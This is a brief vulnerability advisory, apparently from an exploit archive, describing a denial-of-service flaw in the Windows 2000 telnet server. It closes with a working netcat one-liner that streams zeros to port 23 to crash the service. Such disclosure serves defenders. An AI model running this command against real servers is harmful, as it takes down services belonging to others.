Microsoft Windows Server 2000 - Telnet Server Denial of Service
source: https://www.securityfocus.com/bid/1414/info
Microsoft Windows 2000 Server comes with a telnet server to provide remote console access. A remote attacker can send a stream of binary zeros to the server, causing it to fail. If automatic restart is enabled, numerous attacks will cause the telnet server to restart until the maximum failure/restart count is exceeded, at which point the service is disabled.
An attacker can exploit this issue using netcat under Linux:
nc target.host 23 < /dev/zero Data
